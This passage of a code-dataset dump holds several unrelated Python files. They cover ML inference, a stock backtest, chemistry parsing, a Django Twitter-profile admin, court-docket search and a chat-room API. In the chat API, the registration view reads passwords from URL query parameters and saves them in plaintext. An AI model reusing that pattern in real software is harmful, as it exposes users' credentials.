\"../exp/models/exp35_unet_resnet_fold2_ckpt15.pth\",\n \"../exp/models/exp35_unet_resnet_fold4_ckpt12.pth\",\n]\nremove_mask_pixels = [400, 800, 600, 1600]\nthresholds = [0.51, 0.58, 0.47, 0.46]\nthreshold_after_removes = [0.35, 0.39, 0.38, 0.45]\n# remove_mask_pixels = [200, 1000, 400,1400]\n# remove_mask_pixels = [800, 800, 800,1600]\n# remove_mask_pixels = [1000, 1000, 1000,1000]\n# thresholds = [0.5, 0.5, 0.5, 0.5]\n# threshold_after_removes = [0.5, 0.5, 0.5, 0.5]\nadd_cls = 0.1\n#cls_thresholds = [0.11, 1.0, 0.59, 0.71]\ncls_thresholds = [0.05, 1.0, 0.2, 0.2]\n\nsetup_logger(out_file=LOGGER_PATH)\nseed_torch(SEED)\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n LOGGER.info('[{}] done in {} s'.format(name, round(time.time() - t0, 2)))\n\n\nwith timer('load data'):\n df = pd.read_csv(TEST_PATH)\n df[\"ImageId\"] = df[\"ImageId_ClassId\"].map(lambda x: x.split(\"_\")[0])\n df[\"class\"] = df[\"ImageId_ClassId\"].map(lambda x: x.split(\"_\")[1])\n df = df.set_index([\"ImageId\", \"class\"])\n df.drop(\"ImageId_ClassId\", axis=1, inplace=True)\n df = df.unstack()\n df.columns = [\"_\".join(c) for c in df.columns]\n df = df.reset_index()\n df = df[[\"ImageId\"] + [\"EncodedPixels_{}\".format(i) for i in range(1, 5)]]\n\nwith timer('preprocessing'):\n test_augmentation = None\n test_dataset = SeverDatasetTest(df, IMG_DIR, IMG_SIZE, N_CLASSES, id_colname=ID_COLUMNS,\n transforms=test_augmentation)\n test_loader = DataLoader(test_dataset, batch_size=BATCH_SIZE, shuffle=False, num_workers=2)\n\n del test_dataset\n gc.collect()\n\nwith timer('create cls model'):\n models = []\n for p in cls_model_path_res:\n model = cls_models.ResNet(num_classes=N_CLASSES, pretrained=None)\n model.load_state_dict(torch.load(p))\n model.to(device)\n model.eval()\n models.append(model)\n del model\n torch.cuda.empty_cache()\n\n for p in cls_model_path_se:\n model = cls_models.SEResNext(num_classes=N_CLASSES, pretrained=None)\n model.load_state_dict(torch.load(p))\n model.to(device)\n model.eval()\n models.append(model)\n del model\n torch.cuda.empty_cache()\n\n for p in cls_model_path_inc:\n model = cls_models.InceptionResNetV2(num_classes=N_CLASSES, pretrained=None)\n model.load_state_dict(torch.load(p))\n model.to(device)\n model.eval()\n models.append(model)\n del model\n torch.cuda.empty_cache()\n\nwith timer('cls predict'):\n rles, sub_ids, next_ids, next_sub_ids = predict_cls(models, test_loader, device)\n sub_df = pd.DataFrame({'ImageId_ClassId': sub_ids, 'EncodedPixels': rles})\n LOGGER.info(len(sub_df))\n LOGGER.info(sub_df)\n sub_df.to_csv('submission_cls_hard.csv', index=False)\n","sub_path":"make_pseudo/exp2_9121_heavy.py","file_name":"exp2_9121_heavy.py","file_ext":"py","file_size_in_byte":11219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"104593899","text":"from pyalgotrade import strategy\nfrom pyalgotrade.barfeed import yahoofeed\nfrom pyalgotrade.tools import yahoofinance\nfrom pyalgotrade.technical import ma\n\nimport dataIO, main, changePredictors, tradeIndicator\n\ntradingPositions = 0\n\n\nclass MasterTrader(strategy.BacktestingStrategy):\n\tdef __init__(self, feed, instrument):\n\t\tstrategy.BacktestingStrategy.__init__(self, feed, 1000)\n\t\tself.__position = None\n\t\tself.__instrument = instrument\n\t\t# We'll use adjusted close values instead of regular close values.\n\t\tself.setUseAdjustedValues(True)\n\t\tself.datamanager = dataIO.dataManager(feed)\n\t\tself.indicator = tradeIndicator.TradeIndicator()\n\t\tself.highValue = 0\n\n\tdef onEnterOk(self, position):\n\t\texecInfo = position.getEntryOrder().getExecutionInfo()\n\t\tself.info(\"BUY at $%.2f\" % (execInfo.getPrice()))\n\n\tdef onEnterCanceled(self, position):\n\t\tself.__position = None\n\n\tdef onExitOk(self, position):\n\t\texecInfo = position.getExitOrder().getExecutionInfo()\n\t\tself.info(\"SELL at $%.2f\" % (execInfo.getPrice()))\n\t\tself.__position = None\n\n\tdef onExitCanceled(self, position):\n\t\t# If the exit was canceled, re-submit it.\n\t\tself.__position.exitMarket()\n\n\tdef Buy(self, stock, change, price):\n\t\t# Check if we have to exit the position.\n\t\t#if change < 0 and not self.__position.exitActive():\n\t\t#if not self.__position.exitActive():\n\t\t#\tself.Sell(stock, change)\n\t\t\n\t\tamount = int(self.getBroker().getCash()/price)\n\t\tif(change > 0):\n\t\t\tself.__position = self.enterLong(stock, amount, True)\n\t\telse:\n\t\t\tself.__position = self.enterShort(stock, amount, True)\n\n\tdef Sell(self, stock, change):\n\t\tself.__position.exitMarket()\n\n#---------------------------execute trades---------------\n\tdef onBars(self, bars):\n\t\ttemp = bars.getBar(self.__instrument)\n\t\tdata = [temp.getAdjClose(), temp.getClose(), temp.getHigh(), temp.getVolume()]\n\t\t\n\t\tself.datamanager.append(bars.getDateTime(), self.getBroker().getEquity())\n\n\t\tprice = temp.getAdjClose()\n\t\tchange = self.indicator.indicate(data)\n\t\tif change is None:\n\t\t\treturn\n\n\t\tif self.highValue < self.getBroker().getEquity():\n\t\t\tself.highValue = self.getBroker().getEquity()\n\n\t\tbar = bars[self.__instrument]\n\t\t# If a position was not opened, check if we should enter a long position.\n\t\tif self.__position is None:\n\t\t\t#if change > 0:\n\t\t\t\t# Enter a buy market order for 10 shares. The order is good till canceled.\n\t\t\tself.Buy(self.__instrument, change, price)\n\n\t\telif not self.__position.exitActive():\n\t\t\tself.Sell(self.__instrument, change)\n#--------------------------------------------------------------------------\n\ndef run_strategy():\n\t# Load the yahoo feed from the CSV file\n\tsecurities = [\"app\"]\n\tfeed = yahoofinance.build_feed(securities, 2006, 2016, \"stocks\")\n\n\t# Evaluate the strategy with the feed.\n\tmasterTrader = MasterTrader(feed, securities[0])\n\tmasterTrader.run()\n\tprint (\"Final portfolio value: $%.2f\" % masterTrader.getBroker().getEquity())\n\tmasterTrader.datamanager.close()\n\tprint (\"Highest portfolio value: $%.2f\" % masterTrader.highValue)","sub_path":"AI Project/masterTrader.py","file_name":"masterTrader.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"552476279","text":"from contextlib import redirect_stdout\nimport io\nfrom pandas import DataFrame as df\nimport pickle\nfrom rdkit import Chem\nfrom rdkit.Chem import PandasTools\nfrom structures_to_search_n5 import target_structures #n5\n\n# Run command as: \"python hmdb_structure_parser.py 2>&1 | tee log.txt\" to get log and stdout\n# 3.5 minutes run time\n\ndef open_pickle(name):\n current_df_static = df(pickle.load(open(name, 'rb')))\n current_df_open = current_df_static.copy(deep=True)\n return current_df_open\n\n\ndef inchi_smiles(input_mol):\n # Converts molecules from INCHI to SMILES\n\n try:\n print('MolFromInchi', input_mol)\n molecule = Chem.MolFromInchi(input_mol)\n print('MolToSmiles', input_mol)\n output_smiles = Chem.MolToSmiles(molecule)\n return output_smiles\n\n except:\n print('ERROR')\n return '[Si]' # Silicon as placeholder for unparcable structures\n\n\ndef substruct_target(active_df):\n # Adds target structures as rd_object to dataframe\n\n for target, substruct in target_structures.items():\n substruct_object = Chem.MolFromSmarts(substruct)\n target_name = str(target) + '_target'\n active_df[target_name] = substruct_object\n return active_df\n\n\ndef pandas_structure(active_df):\n # Converts INCHI input file to smiles, then adds rd_object to dataframe'''\n\n active_df['Smiles'] = active_df.apply(lambda x: inchi_smiles(x['inchi']), axis=1)\n PandasTools.AddMoleculeColumnToFrame(active_df, 'Smiles', 'Molecule')\n return active_df\n\n\ndef pickle_out(out_df, outname):\n outfile = open(outname, \"wb\")\n pickle.dump(out_df, outfile)\n outfile.close()\n\n\ncurrent_df = open_pickle('hmdb_mols.pickle')\ncurrent_df = substruct_target(current_df)\ncurrent_df = pandas_structure(current_df)\n\nfilename = \"hmdb_df_n5.pickle\" # Out name editied\npickle_out(current_df, filename)","sub_path":"hmdb_structure_parser.py","file_name":"hmdb_structure_parser.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"167991301","text":"\nfrom dtc.enums.message_types import MessageTypes\nfrom lib.base_message_type import BaseMessageType\n\n\nclass MarketDepthUpdateLevel(BaseMessageType):\n def __init__(self,\n symbol_id=None,\n side=None,\n price=None,\n quantity=None,\n update_type=None,\n date_time=None,\n num_orders=None):\n self.Type = MessageTypes.MARKET_DEPTH_UPDATE_LEVEL\n self.SymbolID = symbol_id\n self.Side = side\n self.Price = price\n self.Quantity = quantity\n self.UpdateType = update_type\n self.DateTime = date_time\n self.NumOrders = num_orders\n\n @staticmethod\n def from_message_short(message_obj):\n packet = message_obj.get('F')\n return MarketDepthUpdateLevel(\n symbol_id=packet[0],\n side=packet[1],\n price=packet[2],\n quantity=packet[3],\n update_type=packet[4],\n date_time=packet[5],\n num_orders=packet[6]\n )\n\n @staticmethod\n def from_message_long(message_obj):\n return MarketDepthUpdateLevel(\n symbol_id=message_obj.get('SymbolID'),\n side=message_obj.get('Side'),\n price=message_obj.get('Price'),\n quantity=message_obj.get('Quantity'),\n update_type=message_obj.get('UpdateType'),\n date_time=message_obj.get('DateTime'),\n num_orders=message_obj.get('NumOrders')\n )\n\n @staticmethod\n def from_message(message_obj):\n if 'F' in message_obj:\n return MarketDepthUpdateLevel.from_message_short(message_obj)\n else:\n return MarketDepthUpdateLevel.from_message_long(message_obj)\n\n @staticmethod\n def get_message_type_name():\n return \"MarketDepthUpdateLevel\"\n","sub_path":"dtc/message_types/market_depth_update_level.py","file_name":"market_depth_update_level.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"320884062","text":"from collections import Counter\nfrom django import forms\nfrom django.contrib import admin\nfrom twitter.users.models import TwitterUser\nfrom twitter.lists.models import List\nfrom twitter.tokens.models import Token\nfrom twitter.connections.models import Friends, Followers\nfrom aura.communities.models import Community\nfrom django.http import HttpResponse\nimport unicodecsv\nfrom cStringIO import StringIO\nfrom datetime import datetime, timedelta\nfrom delorean import Delorean, parse\nfrom time import sleep\nfrom random import random\n\n\nclass TwitterUserForm(forms.ModelForm):\n screen_name = forms.CharField(help_text='Twitter username')\n\n class Meta:\n model = TwitterUser\n fields = ['screen_name']\n\n def save(self, **kwargs):\n # fetch and create the twitter user\n token = Token.objects.get_for_resource('/users/lookup')\n client = token.get_client()\n if client:\n response = client.api.users.lookup.get(\n screen_name=self.cleaned_data['screen_name'],\n include_entities=False,\n )\n user = TwitterUser(\n id=response.data[0]['id'],\n data=response.data[0],\n )\n return user\n\n def save_m2m(self):\n # ugly patch\n pass\n\n\nclass VerifiedFilter(admin.SimpleListFilter):\n title = 'verified'\n parameter_name = 'verified'\n\n def lookups(self, request, model_admin):\n return [\n ('y', 'yes'),\n ('n', 'no'),\n ]\n\n def queryset(self, request, queryset):\n if self.value() == 'y':\n queryset = queryset.filter(data__verified=True)\n elif self.value() == 'n':\n queryset = queryset.filter(data__verified=False)\n return queryset\n\n\nclass EggHeadFilter(admin.SimpleListFilter):\n title = 'egghead'\n parameter_name = 'egghead'\n\n def lookups(self, request, model_admin):\n return [\n ('y', 'yes'),\n ('n', 'no'),\n ]\n\n def queryset(self, request, queryset):\n if self.value() == 'y':\n queryset = queryset.filter(data__default_profile_image=True)\n elif self.value() == 'n':\n queryset = queryset.filter(data__default_profile_image=False)\n return queryset\n\n\nclass ProtectedFilter(admin.SimpleListFilter):\n title = 'protected'\n parameter_name = 'protected'\n\n def lookups(self, request, model_admin):\n return [\n ('y', 'yes'),\n ('n', 'no'),\n ]\n\n def queryset(self, request, queryset):\n if self.value() == 'y':\n queryset = queryset.filter(data__protected=True)\n elif self.value() == 'n':\n queryset = queryset.filter(data__protected=False)\n return queryset\n\n\nclass ProfileDescFilter(admin.SimpleListFilter):\n title = 'has profile description'\n parameter_name = 'desc'\n\n def lookups(self, request, model_admin):\n return [\n ('y', 'yes'),\n ('n', 'no'),\n ]\n\n def queryset(self, request, queryset):\n if self.value() == 'y':\n queryset = queryset.exclude(data__description='')\n elif self.value() == 'n':\n queryset = queryset.filter(data__description='')\n return queryset\n\n\nclass LangFilter(admin.SimpleListFilter):\n title = 'language'\n parameter_name = 'lang'\n\n def lookups(self, request, model_admin):\n return [\n ('tr', 'Turkish'),\n ('-tr', 'Non Turkish'),\n ]\n\n def queryset(self, request, queryset):\n if self.value() == 'tr':\n queryset = queryset.filter(data__lang='tr')\n elif self.value() == '-tr':\n queryset = queryset.exclude(data__lang='tr')\n return queryset\n\n\nclass StatusesCountFilter(admin.SimpleListFilter):\n title = 'tweet count'\n parameter_name = 'status_count'\n\n def lookups(self, request, model_admin):\n return [\n ('0:0', '0'),\n ('1:10', '1 - 10'),\n ('11:100', '11 - 100'),\n ('101:1000', '101 - 1,000'),\n ('1001:', '1,000+'),\n ]\n\n def queryset(self, request, queryset):\n if self.value():\n min_count, max_count = self.value().split(':')\n queryset = queryset.filter(data__statuses_count__gte=int(min_count))\n if max_count:\n queryset = queryset.filter(data__statuses_count__lte=int(max_count))\n return queryset\n\n\nclass FriendsCountFilter(admin.SimpleListFilter):\n title = 'friend count'\n parameter_name = 'friends_count'\n\n def lookups(self, request, model_admin):\n return [\n ('0:0', '0'),\n ('100:1000', '100 - 1000'),\n ('1:5000', '1 - 5000'),\n ('5001:10000', '5,001 - 10,000'),\n ('10001:100000', '10,001 - 100,000'),\n ('100001:1000000', '100,001 - 1,000,000'),\n ('1000001:', '1,000,000+'),\n ]\n\n def queryset(self, request, queryset):\n if self.value():\n min_count, max_count = self.value().split(':')\n queryset = queryset.filter(data__friends_count__gte=int(min_count))\n if max_count:\n queryset = queryset.filter(data__friends_count__lte=int(max_count))\n return queryset\n\n\nclass FollowersCountFilter(admin.SimpleListFilter):\n title = 'follower count'\n parameter_name = 'follower_count'\n\n def lookups(self, request, model_admin):\n return [\n ('0:0', '0'),\n ('100:1000', '100 - 1000'),\n ('1:5000', '1 - 5000'),\n ('5001:10000', '5,001 - 10,000'),\n ('10001:100000', '10,001 - 100,000'),\n ('100001:1000000', '100,001 - 1,000,000'),\n ('1000001:', '1,000,000+'),\n ]\n\n def queryset(self, request, queryset):\n if self.value():\n min_count, max_count = self.value().split(':')\n queryset = queryset.filter(data__followers_count__gte=int(min_count))\n if max_count:\n queryset = queryset.filter(data__followers_count__lte=int(max_count))\n return queryset\n\n\nclass FavCountFilter(admin.SimpleListFilter):\n title = 'favourites count'\n parameter_name = 'fav_count'\n\n def lookups(self, request, model_admin):\n return [\n ('0:0', '0'),\n ('1:10', '1 - 10'),\n ('11:100', '11 - 100'),\n ('101:1000', '101 - 1000'),\n ('1001:10000', '1,001 - 10,000'),\n ('10001:', '10,000+'),\n ]\n\n def queryset(self, request, queryset):\n if self.value():\n min_count, max_count = self.value().split(':')\n queryset = queryset.filter(data__favourites_count__gte=int(min_count))\n if max_count:\n queryset = queryset.filter(data__favourites_count__lte=int(max_count))\n return queryset\n\n\nclass ListMembershipFilter(admin.SimpleListFilter):\n title = 'list membership'\n parameter_name = 'list_mem'\n\n def lookups(self, request, model_admin):\n return [(l.id, l.data['name']) for l in list(List.objects.all())]\n\n def queryset(self, request, queryset):\n if self.value():\n member_ids = List.objects.get(id=self.value()).member_ids or []\n queryset = queryset.filter(id__in=member_ids)\n return queryset\n\n\nclass CommunityMembershipFilter(admin.SimpleListFilter):\n title = 'community membership'\n parameter_name = 'community_mem'\n\n def lookups(self, request, model_admin):\n return [(l.id, l.name) for l in list(Community.objects.all())]\n\n def queryset(self, request, queryset):\n if self.value():\n member_ids = Community.objects.get(id=self.value()).member_ids or []\n queryset = queryset.filter(id__in=member_ids)\n return queryset\n\n\nclass DataFetchedFilter(admin.SimpleListFilter):\n title = 'data fetched'\n parameter_name = 'data_fetched'\n\n def lookups(self, request, model_admin):\n return (\n ('yes', 'yes'),\n ('no', 'no'),\n )\n\n def queryset(self, request, queryset):\n if self.value() == 'yes':\n queryset = queryset.exclude(data__isnull=True)\n elif self.value() == 'no':\n queryset = queryset.filter(data__isnull=True)\n return queryset\n\n\nclass ConnectionsFetchedFilter(admin.SimpleListFilter):\n title = 'connections fetched'\n parameter_name = 'connections_fetched'\n\n def lookups(self, request, model_admin):\n return (\n ('friends_fetched', 'friends fetched'),\n ('friends_not_fetched', 'friends not fetched'),\n ('followers_fetched', 'followers fetched'),\n ('followers_not_fetched', 'followers not fetched'),\n )\n\n def queryset(self, request, queryset):\n if self.value() == 'friends_fetched':\n queryset = queryset.filter(id__in=set(Friends.objects.values_list('user_id', flat=True)))\n elif self.value() == 'friends_not_fetched':\n queryset = queryset.exclude(id__in=set(Friends.objects.values_list('user_id', flat=True)))\n elif self.value() == 'followers_fetched':\n queryset = queryset.filter(id__in=set(Followers.objects.values_list('user_id', flat=True)))\n elif self.value() == 'followers_not_fetched':\n queryset = queryset.exclude(id__in=set(Followers.objects.values_list('user_id', flat=True)))\n return queryset\n\n\n@admin.register(TwitterUser)\nclass TwitterUserAdmin(admin.ModelAdmin):\n search_fields = ('data', 'id')\n list_display = (\n 'name', 'time',\n 'deactivated',\n 'friend_count', 'fetched_friend_count',\n 'follower_count', 'fetched_follower_count',\n )\n list_filter = (\n 'deactivated',\n VerifiedFilter, ProtectedFilter, EggHeadFilter, ProfileDescFilter, LangFilter,\n StatusesCountFilter, FriendsCountFilter, FollowersCountFilter, FavCountFilter,\n DataFetchedFilter, ConnectionsFetchedFilter, ListMembershipFilter, CommunityMembershipFilter,\n )\n actions = (\n 'fetch_details', 'fetch_friend_ids', 'fetch_follower_ids',\n 'create_community', 'create_friends_community', 'create_followers_community',\n 'make_not_protected', 'download_as_csv',\n )\n\n def verified(self, obj):\n if obj.data:\n return obj.data.get('verified')\n return ''\n\n def get_form(self, request, obj, **kwargs):\n if obj:\n form = super(TwitterUserAdmin, self).get_form(request, obj, **kwargs)\n else:\n form = TwitterUserForm\n return form\n\n def fetch_details(self, request, queryset):\n TwitterUser.objects.fetch_by_ids(\n list(queryset.values_list('id', flat=True))\n )\n\n def fetch_friend_ids(self, request, queryset):\n for user in queryset:\n user.fetch_friend_ids()\n sleep(int(random()*5))\n\n def fetch_follower_ids(self, request, queryset):\n for user in queryset:\n user.fetch_follower_ids()\n sleep(int(random()*5))\n\n def create_community(self, request, queryset):\n Community.objects.create(\n name='New community',\n member_ids=[u.id for u in queryset],\n owner=request.user,\n )\n\n def create_friends_community(self, request, queryset):\n ids = []\n user_names = []\n for l in queryset:\n ids += l.friend_ids\n user_names.append(l.data['screen_name'])\n Community.objects.create(\n name='Friends of %s' % ', '.join(user_names),\n member_ids=ids,\n owner=request.user,\n )\n\n def create_followers_community(self, request, queryset):\n ids = []\n user_names = []\n for l in queryset:\n ids += l.follower_ids\n user_names.append(l.data['screen_name'])\n Community.objects.create(\n name='Followers of %s' % ', '.join(user_names),\n member_ids=ids,\n owner=request.user,\n )\n\n def make_not_protected(self, request, queryset):\n for user in queryset:\n user.protected = False\n user.save()\n\n def download_as_csv(self, request, queryset):\n f = StringIO()\n w = unicodecsv.writer(f, encoding='utf-8')\n w.writerow((\n 'screen_name',\n 'name',\n 'followers',\n 'friends',\n 'tweets',\n 'description',\n 'tweet',\n 'profile url',\n ))\n for user in queryset:\n data = user.data\n #if not data.get('status'):\n # continue\n #if parse(data['status'].get('created_at')) > Delorean(datetime.utcnow(), timezone='Europe/Moscow') - timedelta(days=7):\n # continue\n \"\"\"\n if len(data.get('description', '')) > 10 and not data['default_profile_image'] and \\\n data['lang'] == 'tr' and len(data['name'].split(' ')) > 1 and not data['protected'] and \\\n data['followers_count'] > 50 and data['followers_count'] < 1000 and \\\n data['friends_count'] > 100 and data['friends_count'] < 1000 and \\\n data['statuses_count'] > 10 and data['statuses_count'] < 1000:\n \"\"\"\n w.writerow((\n data['screen_name'],\n data['name'],\n data['followers_count'],\n data['friends_count'],\n data['statuses_count'],\n data['description'],\n data.get('status') and data['status']['text'],\n 'https://twitter.com/%s' % data['screen_name'],\n ))\n f.seek(0)\n response = HttpResponse(\n f.read(),\n content_type='text/csv'\n )\n response['Content-Disposition'] = 'attachment;filename=users.csv'\n return response\n\n","sub_path":"twitter/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":13869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"52565537","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Doug Hellmann.\n#\n\"\"\"\n\n\"\"\"\n\n__version__ = \"$Id: views.py 146 2009-08-11 13:09:30Z doug.hellmann $\"\n\n# Import system modules\nfrom django.shortcuts import render_to_response\n\nimport logging\n\n# Import local modules\nfrom models import *\nfrom docket import utils\n\n# Module\n\nlogger = logging.getLogger('docket.views')\n\ndef case(request, year, casenum):\n logger.debug('case(%s, %s)', year, casenum)\n the_case = Case.objects.get(year=int(year), num=casenum)\n \n month_list = utils.months_in_year(the_case.year)\n \n # This is stupid, but seems to be the only way to build this\n # order_by() properly.\n participants = the_case.participant_set.all().extra(\n tables=['docket_role'],\n where=[\"docket_role.id = docket_participant.role_id\"],\n )\n participants = participants.order_by(\n 'docket_role.display_order', \n 'last_name',\n 'first_name')\n mediafiles = the_case.mediafile_set.all()\n\n return render_to_response('case.html', {'case':the_case,\n 'defendant':the_case.defendant(),\n 'month_list':month_list,\n 'decade':(int(year)/10)*10,\n 'participants':participants,\n 'mediafiles':mediafiles,\n })\n \nSEARCH_TERMS_TO_FIELDS = {\n 'first_name':'first_name',\n 'last_name':'last_name',\n}\n\ndef search(request):\n # Search parameters are passed via GET\n logger.debug('search %s', str(request.GET))\n logger.debug('type GET: %s', type(request.GET))\n \n # Convert search arguments to query arguments\n filter_args = {}\n search_terms = {}\n search_type = 'exact'\n for name in request.GET:\n value = request.GET[name].strip()\n logger.debug('%s=\"%s\"', name, value)\n if name == 'search_type':\n search_type = value.lower()\n continue\n field = SEARCH_TERMS_TO_FIELDS.get(name)\n if field is not None:\n if value:\n filter_args[field] = value\n search_terms[name] = value\n logger.debug('search_type = %s', search_type)\n logger.debug('filter_args = %s', filter_args)\n\n # Defaults for template parameters\n filtered_results = None # converted to a list later\n messages = []\n \n if not search_terms:\n # No arguments, do nothing\n pass\n\n # Set up the QuerySet (cases), count variable (num_cases), and error message (message) \n elif search_type == 'exact':\n # Find the cases matching the query\n modified_filter_args = {}\n for name, value in filter_args.iteritems():\n modified_filter_args[name + '__iexact'] = value \n logger.debug('modified_filter_args=%s', modified_filter_args)\n filtered_results = Participant.objects.filter(**modified_filter_args)\n \n elif search_type == 'contains':\n modified_filter_args = {}\n for name, value in filter_args.iteritems():\n modified_filter_args[name + '__icontains'] = value \n logger.debug('modified_filter_args=%s', modified_filter_args)\n filtered_results = Participant.objects.filter(**modified_filter_args)\n \n elif search_type == 'soundex':\n where_clauses = []\n where_params = []\n for name, value in filter_args.iteritems():\n # ignore short search terms\n if len(value) < 3:\n messages.append('\"%s\" is too short for soundex searches, ignored' % value)\n continue\n where_clauses.append(\"%s != ''\" % name) # field cannot be empty\n where_clauses.append('soundex(%s) = soundex(%%s)' % name)\n where_params.append(value)\n\n logger.debug('where_clauses=%s', where_clauses)\n logger.debug('where_params=%s', where_params)\n\n if where_clauses:\n filtered_results = Participant.objects.all().extra(where=where_clauses, \n params=where_params)\n \n elif search_type == 'metaphone':\n where_clauses = []\n where_params = []\n for name, value in filter_args.iteritems():\n # ignore short search terms\n if len(value) < 3:\n messages.append('\"%s\" is too short for metaphone searches, ignored' % value)\n continue\n where_clauses.append(\"%s != ''\" % name) # field cannot be empty\n where_clauses.append('metaphone(%s, 10) = metaphone(%%s, 10)' % name)\n where_params.append(value)\n\n logger.debug('where_clauses=%s', where_clauses)\n logger.debug('where_params=%s', where_params)\n\n if where_clauses:\n filtered_results = Participant.objects.all().extra(where=where_clauses, \n params=where_params)\n \n else:\n raise NotImplementedError('Cannot search by %s yet' % search_type)\n \n results = []\n num_results = 0\n if filtered_results is not None: \n num_results = filtered_results.count()\n if not num_results:\n results = []\n if not search_terms:\n messages.append('Please enter search terms')\n else:\n messages.append('No matches found')\n else:\n # Add a few extra columns so we can use them to sort.\n results = filtered_results.extra(\n tables=['docket_case'],\n select={'caseyear':'docket_case.year', \n # Even though the number almost always holds a sequence of digits,\n # it sometimes includes non-digit values because we have situations\n # like case 1906/434b. Try to convert the field to a number for \n # sorting, so the results are displayed in the proper order.\n 'casenum':\"to_number(docket_case.num, '9999')\",\n }, \n where=['docket_case.id = case_id']).order_by('caseyear', 'casenum')\n\n logger.debug('%d results', num_results)\n logger.debug('search_terms: %s' % str(search_terms))\n logger.debug('messages=\"%s\"', messages)\n\n render_args = { 'results':results,\n 'num_results':num_results,\n 'messages':messages,\n 'search_terms':search_terms,\n 'search_type':search_type,\n }\n \n return render_to_response('search_results.html', render_args)\n \n","sub_path":"trunk/athensdocket/docket/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"174547999","text":"from keras.models import load_model\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.preprocessing.image import ImageDataGenerator\n\nimport pandas as pd\nimport numpy as np\n\n#Just have train_generator to get labels\ntrain_datagen=ImageDataGenerator(preprocessing_function=preprocess_input) #included in our dependencies\ntrain_generator=train_datagen.flow_from_directory('./../images/sportseventdetection-football/train/',\n target_size=(224,224),\n color_mode='rgb',\n batch_size=8,\n class_mode='categorical',\n shuffle=True)\n\n\nmodel = load_model('model3.h5')\n\ntest_datagen=ImageDataGenerator(preprocessing_function=preprocess_input) #included in our dependencies\ntest_generator = test_datagen.flow_from_directory(\n directory='./../images/sportseventdetection-football/test/',\n target_size=(224, 224),\n color_mode=\"rgb\",\n batch_size=1,\n class_mode=None,\n shuffle=False,\n seed=42\n)\n\nSTEP_SIZE_TEST=test_generator.n//test_generator.batch_size\ntest_generator.reset()\npred=model.predict_generator(test_generator,\n steps=STEP_SIZE_TEST,\n verbose=1)\n\npredicted_class_indices=np.argmax(pred,axis=1)\nlabels = (train_generator.class_indices)\nlabels = dict((v,k) for k,v in labels.items())\npredictions = [labels[k] for k in predicted_class_indices]\nfilenames=test_generator.filenames\nresults=pd.DataFrame({\"Filename\":filenames,\n \"Predictions\":predictions})\nprint(results.to_string())\nresults.to_csv(\"results.csv\",index=False)","sub_path":"GoogleCloudMLEngine/experiments/predictImageMobileNet2.py","file_name":"predictImageMobileNet2.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"351719274","text":"from django import http\nfrom django.core import paginator\nfrom django.core import serializers\nfrom django.core.serializers import serialize\nfrom django.db.models.lookups import PostgresOperatorLookup\nfrom django.shortcuts import render\nfrom django.core.serializers.json import DjangoJSONEncoder, Serializer\nfrom django.http import JsonResponse\nfrom django.core.paginator import Page, Paginator,EmptyPage,PageNotAnInteger\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nimport json\n\nfrom .models import Entry, Food, Numbers, Numbers_room, Post, Restaurant, Room, Room_detail, User_login\nfrom .models import User\n# Create your views here.\n\nclass HelloAPIView(APIView):\n def get(self,request):\n get_name = request.GET.get('name',None)\n # logger.debug(\"**************** HelloAPIView : \"+get_name)\n retValue = {}\n if get_name:\n retValue['data'] = \"Hello \" + get_name\n return Response(retValue,status=status.HTTP_200_OK)\n else:\n return Response(\n {\"res\":\"ok\"},\n status=status.HTTP_400_BAD_REQUEST\n )\nclass Add_user(APIView): #註冊\n def get(self,request):\n get_id = request.GET.get('user_id','')\n get_nickname = request.GET.get('nickname','')\n get_password = request.GET.get('password','')\n get_login_check=request.GET.get('login_check','')\n new_user = User_login()\n new_user.user_id = get_id\n new_user.nickname = get_nickname\n new_user.password = get_password\n new_user.login_check=get_login_check\n new_user.save()\n if get_id:\n return JsonResponse({'data': get_id + ' insert!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n\nclass Add_Room(APIView): #新增房間\n def get(self,request):\n get_id = request.GET.get('room_id','')\n get_title = request.GET.get('title','')\n new_user = Room()\n new_user.room_id = get_id\n new_user.room_title =get_title \n new_user.save()\n if get_id:\n return JsonResponse({'data': get_id + ' 房間以新增!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n \nclass Addnumbers(APIView): #新增右側人數\n def get(self,request):\n get_user_id = request.GET.get('user_id','')\n get_room_id = request.GET.get('room_id','')\n get_name=request.GET.get('nickname','')\n new_user = Numbers_room()\n new_user.user_id = get_user_id\n new_user.room_id = get_room_id\n new_user.nickname = get_name \n new_user.save()\n if get_user_id:\n return JsonResponse({'ID': get_user_id + ' 人員以新增!'},status=status.HTTP_200_OK)\n else:\n return JsonResponse({'res':'parameter : name is None'},status=status.HTTP_400_BAD_REQUEST)\n# class Add_Room_detail(APIView): #新增留言 /add_room_detail\nclass Add_Room_detail(APIView): #新增留言 /add_room_detail\n def get(self,request):\n get_id = request.GET.get('user_id','')\n get_nickname = request.GET.get('nickname','')\n get_content = request.GET.get('content','')\n get_room_title=request.GET.get('room_title','')\n get_room_id=request.GET.get('room_id','')\n new_room = Room_detail()\n new_room.user_id = get_id\n new_room.nickname = get_nickname\n new_room.cotent = get_content\n new_room.room_title=get_room_title\n new_room.room_id=get_room_id\n 